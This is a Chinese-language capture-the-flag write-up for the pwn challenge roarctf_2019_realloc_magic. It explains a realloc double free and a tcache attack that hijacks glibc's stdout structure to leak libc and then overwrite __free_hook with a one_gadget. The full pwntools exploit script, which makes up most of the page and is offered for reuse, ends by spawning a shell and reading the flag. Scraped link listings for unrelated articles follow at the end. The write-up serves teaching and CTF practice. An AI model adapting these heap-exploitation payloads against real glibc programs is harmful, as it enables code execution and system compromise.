roarctf_2019_realloc_magic

这题折腾了一天才做出来,特此记录,希望以后少踩坑。

总结

做完这道题后收获如下:

  • realloc功能比较多,使用需要谨慎
  • 可利用修改stdout结构体的flags_IO_write_base来泄露libc中的地址
  • 利用main_arena来劫持stdout结构体

题目分析

checksec

首先checksec一下,发现保护全开:

函数分析

然后将题目拖进IDA分析,首先看main函数:



可以看到,main函数并不复杂,一个菜单加上3个选项。

  • menu:

  • re:

  • fr:

  • ba:

这里需要注意,分配内存函数使用的是realloc(void* ptr, size_t size),这个函数的功能很多,查看源码后发现其功能有:

  • ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
  • ptr != nullptr && size == 0 的时候,相当于free(ptr),返回空指针
  • size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
  • size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针

可以看到,realloc函数功能很多,也很危险,使用不当的话会引来严重的安全问题。

ba函数可以将realloc_ptr置为空,但是只有一次使用机会,re函数会释放内存,但是没有置为空,存在double free的漏洞。

题目使用的是ubuntu 18的环境,对应的libc的版本为2.27,考虑使用tcache attack

解题思路

漏洞找到了,而一般的tcache attack也很简单,就是直接修改tcache bin chunknext指针,可以进行任意地址写。所以,初步的解题思路是:

初步解题思路

  • 利用fr函数进行tcache dup
  • 修改chunknext指针,覆盖__free_hook,为one_gadget
  • 修改后触发fr函数,获取shell

思路没啥问题,但是中间有几个关键的问题

存在的问题

  1. 分配函数是realloc,所以如果指针ptr不置为空,就无法达到malloc的效果,ptr所指向的chunk要么扩大,要么缩小,要么换一片内存段进行内存分配,没有办法从bins里面取出chunk
  2. 题目里似乎没有泄露地址的函数,要想往__free_hook写入one_gadget需要libc的基地址

问题解决方案

  • 回忆一下刚刚总结的realloc函数的特点,可以发现,在上图的re函数第7行,将realloc_ptr接收返回后的指针,那么如果realloc_ptr != 0 && size==0,就会触发free(realloc_ptr),并且将realloc_ptr置为0。所以,第一个问题就解决了。
  • 当题目没有泄露地址的函数或功能的时候,可以通过劫持stdout结构体,修改flags_IO_write_base来泄露libc中的地址,进而获取到libc的基地址。攻击原理就不详述了,这位师傅写的很好:利用IO_2_1_stdout_泄露信息。最后需要将stdout结构体的flags修改为0x0FBAD1887,将_IO_write_base的最后一个字节覆盖为0x58。劫持stdout可以借助main_arena来操作,只需要修改低字节的几个地址即可。

最终解决思路

由以上分析,可以总结出最终的解题思路为:

  • 首先分配一块合适大小的内存块A。这段内存用于调用realloc往后面扩张,覆写tcache bin chunksizenext指针。
  • 利用re函数将realloc_ptr指针置为空,然后分配一块大小在small bin chunk范围的内存块B,如大小为0x80。这是为了之后能得到unsorted bin
  • 利用re函数将realloc_ptr指针置为空,然后随意分配一块内存块C,用于隔开top chunk
  • 利用re函数将realloc_ptr指针置为空, 申请大小为0x80的内存,得到了刚刚释放的那块内存B。然后利用fr函数和re函数将realloc_ptr释放8次,使得tcache binunsorted bin存在重合,同时realloc_ptr所对应的chunkfdbk指针,都指向了main_arena + 96
  • 重新将内存块A申请回来,然后扩张,修改内存块A下面的内存块B的size0x51,这里可以修改为任意在tcache bin范围内的值,是为了避免再次调用realloc(realloc_ptr, 0)的时候,又改变了tcache bin链上的指针。保证能将内存申请到stdout附近。
  • 然后申请内存到stdout结构体附近,修改flags_IO_write_base的值。泄露出libc的地址,计算得到__free_hook地址和one_gadget的地址。
  • 接下来不能利用re来清空realloc_ptr指针,程序会挂掉,因为绕不过检查。这里选择使用ba函数,来将指针置为空。
  • 然后重复上面的1-4步,修改__free_hook的值为one_gadget,触发fr函数,获取shell

编写exp

根据最终的解题思路,编写exp并调试,过程记录如下:

定义好函数:

  1. def re(size:int=0, content:bytes=b'\x00'):
  2. global io
  3. io.sendlineafter(">> ", '1')
  4. io.sendlineafter("Size?\n", str(size))
  5. io.recvuntil("Content?\n")
  6. if size > 0:
  7. io.send(content)
  8. return io.recvuntil("Done\n")
  9. def fr():
  10. global io
  11. io.sendlineafter(">> ", '2')
  12. io.recvuntil("Done\n")
  13. restraint = 1
  14. def ba():
  15. global io, restraint
  16. if restraint == 0:
  17. return
  18. io.sendlineafter(">> ", '666')
  19. io.recvuntil("Done\n")
  20. restraint -= 1

执行思路的1-4步:

  1. re(0x30)# 首先申请/释放 为后面覆盖写做准备 A
  2. re(0) # 释放,并把指针置为空
  3. re(0x80) # 申请 B
  4. re(0) # 释放置空
  5. re(0x40) # C
  6. re(0) # 置0 隔开topchunk
  7. re(0x80) # 申请回来 B
  8. for x in range(7): # 释放7次
  9. fr()
  10. re(0) # 得到unsorted bin 同时指针置空

看一下此时的bins

然后修改内存块B的sizenext指针,劫持到stdout,同时泄露出地址

  1. re(0x30) # 取出来
  2. # 修改两个字节 最低的一个字节是 0x60
  3. des = int16(input('1 byes:'))
  4. des = (des << 8) + 0x60
  5. re(0x50, p64(0) * 7 + p64(0x51) + p16(des)) # 踩低字节
  6. re(0)
  7. re(0x80)
  8. re(0)
  9. msg = re(0x80, p64(0x0FBAD1887) + p64(0) * 3 + p8(0x58))
  10. leak_addr = u64(msg[:8])
  11. free_hook_addr = leak_addr + 0x5648

这里调试的时候可以发现,_IO_2_1_stdout_的低两个字节和main_arena + 96不同,理论上需要改这两个字节,实际上最后一个字节一直是0x60,所以只需要改一个字节就行了。此处为本地调试,可以手动查看要修改的内容,然后填上去。

输入0xb7后,修改成功:

然后分配到stdout结构体,修改flags等,泄露出地址:

计算一下基地址,__free_hook的地址等:

重复一下上面的过程,在_free_hook附近写上one_gadget即可:

  1. gadget = [0x4f2c5, 0x4f322, 0x10a38c]
  2. one_gadget = free_hook_addr - 0x3ed8e8 + gadget[1]
  3. ba() # 指针置空
  4. # 重复上面的操作,在free_hook上写one_gadget
  5. re(0x10)
  6. re(0)
  7. re(0x90)
  8. re(0)
  9. re(0x20) # 隔开top chunk
  10. re(0)
  11. # 开始dump0x90
  12. re(0x90)
  13. for x in range(7):
  14. fr()
  15. re(0)
  16. re(0x10)
  17. re(0x50, p64(0) * 3 + p64(0x51) + p64(free_hook_addr))
  18. re(0)
  19. re(0x90)
  20. re(0)
  21. re(0x90, p64(one_gadget))
  22. # delete
  23. io.sendlineafter(">> ", '2')
  24. io.sendline('cat flag')
  25. io.interactive()

之后就可以拿到shell:

最后贴一下完整的exp

  1. from pwn import *
  2. from LibcSearcher import LibcSearcher
  3. import click
  4. import sys
  5. import os
  6. import time
  7. import functools
  8. FILENAME = '#' # 要执行的文件名
  9. DEBUG = 1 # 是否为调试模式
  10. TMUX = 0 # 是否开启TMUX
  11. GDB_BREAKPOINT = None # 当tmux开启的时候,断点的设置
  12. IP = None # 远程连接的IP
  13. PORT = None # 远程连接的端口
  14. LOCAL_LOG = 1 # 本地LOG是否开启
  15. PWN_LOG_LEVEL = 'debug' # pwntools的log级别设置
  16. STOP_FUNCTION = 1 # STOP方法是否开启
  17. CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])
  18. @click.command(context_settings=CONTEXT_SETTINGS, short_help='Do pwn!')
  19. @click.argument('filename', nargs=1, type=str, required=0, default=None)
  20. @click.option('-d', '--debug', default=True, type=bool, nargs=1, help='Excute program at local env or remote env. Default value: True.')
  21. @click.option('-t', '--tmux', default=False, type=bool, nargs=1, help='Excute program at tmux or not. Default value: False.')
  22. @click.option('-gb', '--gdb-breakpoint', default=None, type=str, help='Set a gdb breakpoint while tmux is enabled, is a hex address or a function name. Default value:None')
  23. @click.option('-i', '--ip', default=None, type=str, nargs=1, help='The remote ip addr. Default value: None.')
  24. @click.option('-p', '--port', default=None, type=int, nargs=1, help='The remote port. Default value: None.')
  25. @click.option('-ll', '--local-log', default=True, type=bool, nargs=1, help='Set local log enabled or not. Default value: True.')
  26. @click.option('-pl', '--pwn-log', type=click.Choice(['debug', 'info', 'warn', 'error', 'notset']), nargs=1, default='debug', help='Set pwntools log level. Default value: debug.')
  27. @click.option('-sf', '--stop-function', default=True, type=bool, nargs=1, help='Set stop function enabled or not. Default value: True.')
  28. def parse_command_args(filename, debug, tmux, gdb_breakpoint, ip,
  29. port, local_log, pwn_log, stop_function):
  30. '''FILENAME: The filename of current directory to pwn'''
  31. global FILENAME, DEBUG, TMUX, GDB_BREAKPOINT, IP, PORT, LOCAL_LOG, PWN_LOG_LEVEL, STOP_FUNCTION
  32. # assign
  33. FILENAME = filename
  34. DEBUG = debug
  35. TMUX = tmux
  36. GDB_BREAKPOINT = gdb_breakpoint
  37. IP = ip
  38. PORT = port
  39. LOCAL_LOG = local_log
  40. PWN_LOG_LEVEL = pwn_log
  41. STOP_FUNCTION = stop_function
  42. # print('[&]', filename, debug, tmux, gdb_breakpoint, ip, port, local_log, pwn_log, stop_function)
  43. # change
  44. if PORT:
  45. DEBUG = 0
  46. TMUX = 0
  47. STOP_FUNCTION = 0
  48. GDB_BREAKPOINT = None
  49. if IP is None:
  50. IP = 'node3.buuoj.cn'
  51. if DEBUG:
  52. IP = None
  53. PORT = None
  54. # assert
  55. assert not (FILENAME is None and PORT is None), 'para error'
  56. assert not (FILENAME is None and DEBUG == 1), 'para error'
  57. assert not (PORT is not None and DEBUG == 1), 'para error'
  58. assert not (DEBUG == 0 and TMUX == 1), 'para error'
  59. # print
  60. click.echo('=' * 50)
  61. click.echo(' [+] Args info:\n')
  62. if FILENAME:
  63. click.echo(' filename: %s' % FILENAME)
  64. click.echo(' debug enabled: %d' % DEBUG)
  65. click.echo(' tmux enabled: %d' % TMUX)
  66. if GDB_BREAKPOINT:
  67. click.echo(' gdb breakpoint: %s' % GDB_BREAKPOINT)
  68. if IP:
  69. click.echo(' remote ip: %s' % IP)
  70. if PORT:
  71. click.echo(' remote port: %d' % PORT)
  72. click.echo(' local log enabled: %d' % LOCAL_LOG)
  73. click.echo(' pwn log_level: %s' % PWN_LOG_LEVEL)
  74. click.echo(' stop function enabled: %d' % STOP_FUNCTION)
  75. click.echo('=' * 50)
  76. parse_command_args.main(standalone_mode=False)
  77. if len(sys.argv) == 2 and sys.argv[1] == '--help':
  78. sys.exit(0)
  79. if DEBUG:
  80. io = process('./{}'.format(FILENAME))
  81. else:
  82. io = remote(IP, PORT)
  83. if TMUX:
  84. context.update(terminal=['tmux', 'splitw', '-h'])
  85. if GDB_BREAKPOINT is None:
  86. gdb.attach(io)
  87. elif '0x' in GDB_BREAKPOINT:
  88. gdb.attach(io, gdbscript='b *{}\nc\n'.format(GDB_BREAKPOINT))
  89. else:
  90. gdb.attach(io, gdbscript='b {}\nc\n'.format(GDB_BREAKPOINT))
  91. if FILENAME:
  92. cur_elf = ELF('./{}'.format(FILENAME))
  93. print('[+] libc used ===> {}'.format(cur_elf.libc))
  94. def LOG_ADDR(addr_name:str, addr:int):
  95. if LOCAL_LOG:
  96. log.success("{} ===> {}".format(addr_name, hex(addr)))
  97. else:
  98. pass
  99. STOP_COUNT = 0
  100. def STOP(idx:int=-1):
  101. if not STOP_FUNCTION:
  102. return
  103. if idx != -1:
  104. input("stop...{} {}".format(idx, proc.pidof(io)))
  105. else:
  106. global STOP_COUNT
  107. input("stop...{} {}".format(STOP_COUNT, proc.pidof(io)))
  108. STOP_COUNT += 1
  109. int16 = functools.partial(int, base=16)
  110. context.update(os='linux', log_level=PWN_LOG_LEVEL, arch='amd64',endian='little')
  111. ##########################################
  112. ##############以下为攻击代码###############
  113. ##########################################
  114. # realloc的特点
  115. def re(size:int=0, content:bytes=b'\x00'):
  116. global io
  117. io.sendlineafter(">> ", '1')
  118. io.sendlineafter("Size?\n", str(size))
  119. io.recvuntil("Content?\n")
  120. if size > 0:
  121. io.send(content)
  122. return io.recvuntil("Done\n")
  123. def fr():
  124. global io
  125. io.sendlineafter(">> ", '2')
  126. io.recvuntil("Done\n")
  127. restraint = 1
  128. def ba():
  129. global io, restraint
  130. if restraint == 0:
  131. return
  132. io.sendlineafter(">> ", '666')
  133. io.recvuntil("Done\n")
  134. restraint -= 1
  135. re(0x30)# 首先申请/释放 为后面覆盖写做准备
  136. re(0) # 释放,并把指针置为空
  137. re(0x80) # 申请
  138. re(0) # 释放置空
  139. re(0x40)
  140. re(0) # 置0 隔开topchunk
  141. re(0x80) # 申请回来
  142. for x in range(7): # 释放7次
  143. fr()
  144. re(0) # 得到unsorted bin 同时指针置空
  145. STOP()
  146. re(0x30) # 取出来
  147. # 修改两个字节 最低的一个字节是 0x60
  148. des = int16(input('1 byes:')) # 实际打的时候,需要爆破
  149. des = (des << 8) + 0x60
  150. re(0x50, p64(0) * 7 + p64(0x51) + p16(des)) # 踩低字节
  151. re(0)
  152. re(0x80)
  153. re(0)
  154. msg = re(0x80, p64(0x0FBAD1887) + p64(0) * 3 + p8(0x58))
  155. leak_addr = u64(msg[:8])
  156. free_hook_addr = leak_addr + 0x5648
  157. LOG_ADDR('free_hook_addr', free_hook_addr)
  158. gadget = [0x4f2c5, 0x4f322, 0x10a38c]
  159. one_gadget = free_hook_addr - 0x3ed8e8 + gadget[1]
  160. ba()
  161. re(0x10)
  162. re(0)
  163. re(0x90)
  164. re(0)
  165. re(0x20)
  166. re(0)
  167. # 开始dump0x90
  168. re(0x90)
  169. for x in range(7):
  170. fr()
  171. re(0)
  172. re(0x10)
  173. re(0x50, p64(0) * 3 + p64(0x51) + p64(free_hook_addr))
  174. re(0)
  175. re(0x90)
  176. re(0)
  177. re(0x90, p64(one_gadget))
  178. # delete
  179. io.sendlineafter(">> ", '2')
  180. io.sendline('cat flag')
  181. io.interactive()

注意:在实际打的时候,需要爆破一个字节。

exp说明

这份exp是我专门用来刷BUUCTF上面的题目的,有需要的小伙伴可以拿去用。主要是利用click包装了一下命令行参数,方便本地调试和远程攻击。

  • 输入python3 exp.py -h可以获取帮助:

调试的时候,首先需要进入tmux,然后可以指定是否分屏调试,以及断点设置等。目前可支持设置函数地址断点和函数名断点。

  • 输入python3 expcopy.py roarctf_2019_realloc_magic -t 1 -gb puts是这样的:

可以开始调试,并且断在puts函数处。

  • 如果本地调通了需要远程打直接输:python3 exp.py filename -p 25622就可以了。这一题不能直接远程打,需要改下脚本进行爆破。

也可以自己定制命令,省去做题的时候输入命令,改脚本的时间。

roarctf_2019_realloc_magic的更多相关文章

  1. tcache poisoning(爆破stout获得libc并且熟练使用了realloc)

    这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚 例行检查我就不放了 讲程序放入ida中 比较简单的流程,没有show功能,所有我们需要通过爆破st ...

  2. IO_FILE——leak 任意读

    在堆题没有show函数时,我们可以用 IO_FILE 进行leak,本文就记录一下如何实现这一手法. 拿一个输出函数 puts 来说,它在源码里的表现形式为 _IO_puts . _IO_puts ( ...

随机推荐

  1. k8s-1-交付dubbo微服务

    一.Dubbo微服务概述 1.1: dubbo介绍 1.2: 部署内容 二.实验环境架构 2.1: 架构 1.1 架构图解 1.最上面一排为K8S集群外服务 1.1 代码仓库使用基于git的gitee ...

  2. 关于TCP状态TIME_WAIT的理解

    1.TIME_WAIT的作用: TIME_WAIT状态存在的理由:1)可靠地实现TCP全双工连接的终止 在进行关闭连接四次挥手协议时,最后的ACK是由主动关闭端发出的,如果这个最终的ACK丢失,服务器 ...

  3. 爬虫入门五 gooseeker

    title: 爬虫入门五 gooseeker date: 2020-03-16 16:00:00 categories: python tags: crawler gooseeker是一个简单的爬虫软 ...

  4. linux通识

    linux是服务器应用领域的开源且免费的多用户多任务操作系统的内核. 以下是对上述论断的解释: 操作系统 简言之,操作系统乃是所有计算设备的大管家,小到智能手表,大到航天航空设备,所有需要操控硬件的地 ...

  5. ARM汇编---程序获取符号的物理地址

    在移植u-boot的过程看到过u-boot在重定向时的实现,当时不知道怎么就觉得很好理解就把这个知识点没怎么深入的理解,最近在看华为的鸿蒙OS在Cortex-A平台上的实现过程时再次遇到一时间看不太懂 ...

  6. MDN All In One

    MDN All In One https://github.com/mdn/ https://wiki.mozilla.org/MDN MDN 要凉了 https://developer.mozill ...

  7. Chrome blocked third-party cookies

    Chrome blocked third-party cookies Chrome Incognito Chrome 无痕模式 https://support.google.com/chrome/an ...

  8. record terminal sessions

    record terminal sessions asciinema https://asciinema.org/ # install $ brew install asciinema # Start ...

  9. how to create one single-file Web Component just using the HTML, CSS, JavaScript

    how to create one single-file Web Component just using the HTML, CSS, JavaScript web components html ...

  10. js & void() & void(0)

    js & void() & void(0) https://www.runoob.com/js/js-void.html void() <a href="javascr ...